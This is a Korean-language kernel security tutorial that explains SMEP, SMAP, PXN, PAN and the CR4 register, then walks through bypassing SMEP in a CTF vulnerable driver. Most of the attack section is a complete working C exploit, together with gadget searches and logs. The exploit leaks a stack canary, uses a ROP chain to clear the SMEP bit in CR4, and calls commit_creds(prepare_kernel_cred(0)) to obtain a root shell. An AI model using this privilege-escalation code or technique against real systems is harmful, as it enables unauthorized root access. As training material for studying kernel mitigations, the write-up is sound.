Excuse the ads! We need some help to keep our site up.

List

02.Segregation of kernel memory from userspace memory(x86’s SMEP/SMAP, ARM’s PXN/PAN)

  • 커널은 절대 사용자 공간 메모리(userspace memory)를 실행과 접근해서는 안됩니다.
  • 이러한 규칙은 하드웨어 기반으로 제한(x86의 SMEP/SMAP, ARM의 PXN/PAN)을 지원하거나 에뮬레이션(ARM의 메모리 도메인)을 통해 시행할 수 있습니다.
  • 이러한 방식으로 사용자 공간 메모리를 차단하면 실행 및 데이터 구문 분석이 평범하게 제어되는 사용자 공간 메모리로 전달 될 수 없으므로, 공격이 커널 메모리에서만 작동하도록 만듭니다.

SMEP & SMAP

SMEP (Supervisor Mode Execution Prevention)

  • Intel이 도입한 하드웨어 완화("OS Guard")로 사용자 모드에 있는 실행 코드를 Ring-0 권한으로의 실행을 제한하고 충돌을 일으킵니다. 

  • SMEP는 더 많은 권한 수준에서 작동하는 동안 신뢰할 수 없는 애플리케이션 메모리의 실행을 방지합니다.
  • 이를 통해 Intel OS Guard는 EoP(Escalation of Privilege) 보안 공격을 방지하는 데 도움이 됩니다.
    • 이는 기본적으로 사용자 모드 페이로드 실행에 의존하는 EoP 익스플로잇을 실행하지 못하게합니다.

SMAP(Supervisor Mode Access Prevention)

  • SMAP(Supervisor Mode Access Prevention): 감독자 모드 액세스 방지
    • 페이지 관리자 모드 데이터 액세스로부터 보호 가능
    • SMAP = 1, OS가 애플리케이션의 선형 주소에서 데이터에 액세스할 수 없는 경우
  • SMEP의 목적은 수퍼바이저 모드에서 명령 패치 및 코드 실행을 제어하는 ​​것이었지만, SMAP는 수퍼바이저 모드의 데이터 액세스를 방지하는 것입니다.

PXN & PAN

PXN(Privileged execute-never)

  • PXN(Privileged execute-never), PXN은 ARM 하드웨어에 의해 제공되며 SMEP와 유사한 기능이다.

PAN(Privileged Access Never)

  • SMAP와 유사한 기능이며, ARM v8.1에 PAN(Privileged Access Never)이 도입 되었습니다.
  • 커널이 사용자 공간에 직접 액세스하지 못하게 막아줍니다.

CR4 Register

  • 컨트롤 레지스터는 프로세서의 운영 모드나 현재 실행 중인 태스크의 특성을 결정하는 데 이용됩니다.
    • x86에서는 CR0, CR1, CR2, CR3, CR4 5개의 컨트롤 레지스터가 있습니다.
    • x86-64에서는 CR8이 추가되어 6개의 컨트롤 레지스터가 있습니다.
  • CR4레지스터에서는 프로세스에서 지원하는 각종 확장 기능들을 제어하며, SMEP, SMAP 기능들도 제어됩니다.
    • SMEP 비트는 CR4 레지스터의 비트는 20, SMAP 비트는 21이며 인텔은 다음과 같이 정의합니다.
    • 이 비트를 1로 설정하면 활성화되고 0으로 설정하면 비활성화됩니다.

CR4 Register

PXN, PAN은 관리 방식이 다릅니다.

  • PAN은 페이지 테이블의 정보를 이용하여 관리합니다.

Enable SMEP

  • "/etc/default/grub"에 "GRUB_CMDLINE_LINUX_DEFAULT" 필드에서 "NOSMEP"를 제거합니다.
/etc/default/grub
# If you change this file, run 'update-grub' afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
#   info -f grub -n 'Simple configuration'

GRUB_DEFAULT=0
GRUB_HIDDEN_TIMEOUT=0
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_TIMEOUT=10
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet nosmap"
GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"
  • 다음과 같이 명령어를 실행하면 변경된 부팅설정을 반영 후 재부팅합니다.
lazenca0x0@ubuntu:~$ sudo update-grub
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.4.0-31-generic
Found initrd image: /boot/initrd.img-4.4.0-31-generic
Found linux image: /boot/vmlinuz-3.13.0-32-generic
Found initrd image: /boot/initrd.img-3.13.0-32-generic
Found memtest86+ image: /boot/memtest86+.elf
Found memtest86+ image: /boot/memtest86+.bin
done
lazenca0x0@ubuntu:~$ sudo reboot
  • 다음과 같이 "/proc/cpuinfo"에서 SMEP가 설정된 것을 확인할 수 있습니다.
Enable SMEP
lazenca0x0@ubuntu:~/Kernel/SS$ cat /proc/cpuinfo |grep smep
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid mpx rdseed adx clflushopt xsaveopt xsavec arat
lazenca0x0@ubuntu:~/Kernel/SS$ cat /proc/cpuinfo |grep smap
lazenca0x0@ubuntu:~/Kernel/SS$
Failed to get the shell(r2u)
lazenca0x0@ubuntu:~/Kernel/SS$ ./r2u
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

b0 6f 86 8b 00 00 00 00 a0 2c 6c 00 00 00 00 00  | �o���,l
Killed
lazenca0x0@ubuntu:~/Kernel/SS$ 
  • dmesg를 이용하여 에러 로그를 확인하면 다음과 같습니다.
    • "unable to execute userspace code (SMEP?)"라는 메시지가 출력됩니다.
    • "BUG:" 에서 "00000000004010ac에서 커널 페이징 요청을 처리할 수 없다"는 메시지도 출력됩니다.
    • RIP 레지스터의 값이 "00000000004010ac"인 것을 보면, Exploit code를 정상적으로 동작했다는 것을 알 수 있습니다.
    • CR4레지스터의 값이 "00000000001406f0"이기 때문에 SMEP가 활성화 되어있다는것도 확인 할 수 있습니다.
Check the error message
lazenca0x0@ubuntu:~/Kernel/SS$ dmesg |tail -n 32
[  568.720264] unable to execute userspace code (SMEP?) (uid: 1000)
[  568.720266] BUG: unable to handle kernel paging request at 00000000004010ac
[  568.720267] IP: [<00000000004010ac>] 0x4010ac
[  568.720270] PGD 4d7e5067 PUD 534c3067 PMD 5fe0f067 PTE 4a1a2025
[  568.720272] Oops: 0011 [#1] SMP 
[  568.720274] Modules linked in: chardev(OE) kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul aesni_intel vmw_balloon aes_x86_64 lrw gf128mul glue_helper ablk_helper cryptd joydev serio_raw vmw_vmci nfit parport_pc ppdev lp parport psmouse mptspi scsi_transport_spi e1000 mptscsih ahci libahci mptbase
[  568.720285] CPU: 0 PID: 3254 Comm: r2u Tainted: G           OE   4.4.0-31-generic #50~14.04.1-Ubuntu
[  568.720287] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/13/2018
[  568.720288] task: ffff880064375880 ti: ffff8800534a4000 task.ti: ffff8800534a4000
[  568.720289] RIP: 0010:[<00000000004010ac>]  [<00000000004010ac>] 0x4010ac
[  568.720290] RSP: 0018:ffff8800534a7ec8  EFLAGS: 00010282
[  568.720292] RAX: 0000000000000070 RBX: 0000000000000000 RCX: 0000000000000000
[  568.720293] RDX: 0000000000000001 RSI: 0000000000000246 RDI: 0000000000000246
[  568.720293] RBP: 0000000000000000 R08: 74636e7566202928 R09: 6666203a206e6f69
[  568.720294] R10: 3030383866666666 R11: 0000000000000696 R12: 0000000000000000
[  568.720295] R13: 0000000000000070 R14: ffff8800534a7f20 R15: 0000000000000000
[  568.720297] FS:  0000000000af5880(0063) GS:ffff88007b600000(0000) knlGS:0000000000000000
[  568.720298] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  568.720299] CR2: 00000000004010ac CR3: 0000000064016000 CR4: 00000000001406f0
[  568.720331] Stack:
[  568.720332]  0000000000000000 ffffffff811fda82 00007ffdc7d29c18 ffff88004d501e00
[  568.720334]  ffff88004d501e00 00007ffdc7d29d10 0000000000000070 0000000000000000
[  568.720335]  ffff8800534a7f48 ffffffff811fe7a6 0000000000000016 0000000000000010
[  568.720337] Call Trace:
[  568.720341]  [<ffffffff811fda82>] ? vfs_write+0xa2/0x1a0
[  568.720343]  [<ffffffff811fe7a6>] ? SyS_write+0x46/0xa0
[  568.720346]  [<ffffffff817f6f36>] ? entry_SYSCALL_64_fastpath+0x16/0x75
[  568.720347] Code:  Bad RIP value.
[  568.720348] RIP  [<00000000004010ac>] 0x4010ac
[  568.720349]  RSP <ffff8800534a7ec8>
[  568.720350] CR2: 00000000004010ac
[  568.720351] ---[ end trace a352cb1eb198ba8e ]---
lazenca0x0@ubuntu:~/Kernel/SS$ 

Proof of concept

SMEP bypass

  • SMEP를 우회하기 위한 방법은 아주 간단합니다.
    • "return to user" 전에 CR4 레지스터의 값을 변경하여 SEMP를 비활성화하면 됩니다.
    • 또는 ROP를 이용한 우회도 가능합니다.
  • 여기에서는 CR4 레지스터의 값을 변경하는 방법으로 Exploit code를 작성해보겠습니다.
  • 우선 다음과 같이 CR4레지스트의 값을 변경할 수 있는 가젯을 찾습니다.
    • 해당 가젯은 mov 명령어에 의해 "RDI" 레지스터에 저장된 값이 "CR4" 레지스터에 저장됩니다.
Find "mov cr4,rdi"
lazenca0x0@ubuntu:~/Kernel/SS$ objdump -M intel -j .text -d /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep "mov    cr4,rdi"
ffffffff8101a9e0:	0f 22 e7             	mov    cr4,rdi
ffffffff810612f4:	0f 22 e7             	mov    cr4,rdi
lazenca0x0@ubuntu:~/Kernel/SS$
  • 다음으로 "RDI" 레지스터에 값을 저장할 수 있는 가젯을 찾습니다.

Find "pop rdi ; ret"
lazenca0x0@ubuntu:~/Kernel/SS$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdi ; ret" | head -1
0xffffffff813e223f: pop rdi ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/SS$ 
  • 해당 시스템에 설정된 CR4 레지스터(0x1406f0)에서 SMEP 비트(0x100000,0001 0000 0000 0000 0000 0000)를 빼면 0x406f0이 됩니다.
    • 즉, CR4에 저장할 값은 0x406f0이며, 이 값으로 인해 SMEP가 비활성화 됩니다.
  • 해당 가젯들을 이용하여 다음과 같이 Exploit code를 구현할 수 있습니다.
Exploit code
...
    rop[k++] = canary;
    rop[k++] = 0;
    rop[k++] = 0;
    rop[k++] = 0;
    rop[k++] = 0xffffffff813e223f;	//pop_rdi
    rop[k++] = 0x406f0;				//0x406f0
    rop[k++] = 0xffffffff8101a9d0;	//
    rop[k++] = (size_t)payload;
...

Exploit code

  • 다음과 같이 Exploit code를 완성할 수 있습니다.
r2u_smep.c
//gcc -masm=intel -static -o s2u_smep r2u_smep.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
   
#define TEXT_LEN 64
  
void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
  
struct trap_frame {
    void     *user_rip;		// instruction pointer
    uint64_t user_cs;		// code segment
    uint64_t user_rflags;	// CPU flags
    void     *user_rsp;		// stack pointer
    uint64_t user_ss;		// stack segment
} __attribute__((packed));
struct trap_frame tf;
   
void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}
   
void prepare_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
        );
    tf.user_rip = &getShell ;
}
    
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
        "mov %%rsp, %0;"
        "iretq;"
    : : "r" (&tf));
}
  
void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
   
    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
            addr = NULL;
        }
    }
    fclose(fp);
    return addr;
}
  
int main()
{
    static char buf[512];
    size_t rop[512] = {0};
    char val[8];
    int fd,i,j;
 
    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);
  
    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred);
  
    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    return 0;
    }
  
    lseek(fd, 16, SEEK_CUR);
    read(fd, buf, TEXT_LEN);
  
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }
  
    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);
  
    //Exploit code
    int k = 8;
    memset(&rop[0], 0x41, 64);
    rop[k++] = canary;
    rop[k++] = 0;
    rop[k++] = 0;
    rop[k++] = 0;
    rop[k++] = 0xffffffff813e223f;	//pop_rdi
    rop[k++] = 0x406f0;				//0x407f0
    rop[k++] = 0xffffffff8101a9d0;	//
    rop[k++] = (size_t)payload;
    
    prepare_tf();
  
    //Overflow
    write(fd, rop, 8*(k+1));
  
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • 다음과 같이 SMEP가 설정되어 있으나 "Return to user"공격이 성공한 것을 확인할 수 있습니다.
bypass smep
lazenca0x0@ubuntu:~/Kernel/SS$ ./r2u_smep 
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

74 15 25 f1 00 00 00 00 a0 2c 6c 00 00 00 00 00  | t%��,l
[+]canary: 0xf1251574
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /proc/cpuinfo |grep smep
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid mpx rdseed adx clflushopt xsaveopt xsavec arat
# 
  • 그리고 이 공격으로 인해 CR4 레지스터의 값이 변경된 것을 확인할 수 있습니다.
Check the CR4 Register
lazenca0x0@ubuntu:~/Kernel/SS$ ./address 
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

1d 8a f6 17 00 00 00 00 a0 2c 6c 00 00 00 00 00  | ���,l
Segmentation fault
lazenca0x0@ubuntu:~/Kernel/SS$ dmesg |tail -n 32
[  876.291882] audit: type=1400 audit(1591714304.172:73): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/sbin/cupsd" pid=3503 comm="apparmor_parser"
[ 1988.856659] The device_lseek() function has been called.The chardev_read() function has been called.MSG : Welcome to the CSAW CTF challenge. Best of luck!
[ 1988.856663] f_pos : 16The chardev_write() function has been called.Before calling the copy_from_user() function : ffff88004d247e60After calling the copy_from_user() function : ffff88004d247e60The chardev_release() function has been called.The device_lseek() function has been called.The chardev_read() function has been called.MSG : Welcome to the CSAW CTF challenge. Best of luck!
[ 2058.694982] f_pos : 16The chardev_write() function has been called.Before calling the copy_from_user() function : ffff88006432fe60After calling the copy_from_user() function : ffff88006432fe60
[ 2058.695092] general protection fault: 0000 [#2] SMP 
[ 2058.695094] Modules linked in: chardev(OE) kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul aesni_intel vmw_balloon aes_x86_64 lrw gf128mul glue_helper ablk_helper cryptd joydev serio_raw vmw_vmci nfit parport_pc ppdev lp parport psmouse mptspi scsi_transport_spi e1000 mptscsih ahci libahci mptbase
[ 2058.695103] CPU: 0 PID: 3651 Comm: address Tainted: G      D    OE   4.4.0-31-generic #50~14.04.1-Ubuntu
[ 2058.695104] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/13/2018
[ 2058.695104] task: ffff88005e573b00 ti: ffff88006432c000 task.ti: ffff88006432c000
[ 2058.695105] RIP: 0010:[<ffffffffc00c2144>]  [<ffffffffc00c2144>] chardev_write+0x74/0x90 [chardev]
[ 2058.695110] RSP: 0018:ffff88006432fec0  EFLAGS: 00010282
[ 2058.695111] RAX: 0000000000000078 RBX: 4141414141414141 RCX: 0000000000000000
[ 2058.695112] RDX: 0000000000000001 RSI: 0000000000000246 RDI: 0000000000000246
[ 2058.695112] RBP: 4343434343434343 R08: 74636e7566202928 R09: 6666203a206e6f69
[ 2058.695113] R10: 3030383866666666 R11: 00000000000006be R12: 4242424242424242
[ 2058.695113] R13: 0000000000000078 R14: ffff88006432ff20 R15: 0000000000000000
[ 2058.695114] FS:  000000000087c880(0063) GS:ffff88007b600000(0000) knlGS:0000000000000000
[ 2058.695115] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2058.695116] CR2: 00007ff9aeb52000 CR3: 0000000077941000 CR4: 0000000000040660
[ 2058.695137] Stack:
[ 2058.695138]  4444444444444444 4545454545454545 4646464646464646 ffffffff811fd92f
[ 2058.695139]  ffff88004d5bd800 ffff88004d5bd800 00000000006c2ea0 0000000000000078
[ 2058.695140]  0000000000000000 ffff88006432ff48 ffffffff811fe7a6 ffffffff811fd607
[ 2058.695141] Call Trace:
[ 2058.695172]  [<ffffffff811fd92f>] ? vfs_read+0x7f/0x130
[ 2058.695174]  [<ffffffff811fe7a6>] ? SyS_write+0x46/0xa0
[ 2058.695175]  [<ffffffff811fd607>] ? SyS_lseek+0x87/0xb0
[ 2058.695178]  [<ffffffff817f6f36>] ? entry_SYSCALL_64_fastpath+0x16/0x75
[ 2058.695179] Code: 4c 89 e6 e8 ef e8 31 c1 48 85 c0 74 24 48 c7 c0 f2 ff ff ff 48 8b 4d e8 65 48 33 0c 25 28 00 00 00 75 09 48 83 c4 48 5b 41 5c 5d <c3> e8 16 b4 fb c0 48 8d 75 a8 48 c7 c7 f0 30 0c c0 e8 18 e8 0b 
[ 2058.695188] RIP  [<ffffffffc00c2144>] chardev_write+0x74/0x90 [chardev]
[ 2058.695190]  RSP <ffff88006432fec0>
[ 2058.695191] ---[ end trace a352cb1eb198ba8f ]---
lazenca0x0@ubuntu:~/Kernel/SS$
Bypass SMEP with ROP
lazenca0x0@ubuntu:~/Kernel/Exploit/ROP$ ./rop
prepare_kernel_cred addr: 0xffffffff8109da40
commit_creds addr: 0xffffffff8109d760
SAW CTF challenge. Best of luck!

53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

e4 bf d0 8d 00 00 00 00 c0 6c 6c 00 00 00 00 00  | ��Ѝ�ll
[+]canary: 0x8dd0bfe4
#

References

  • No labels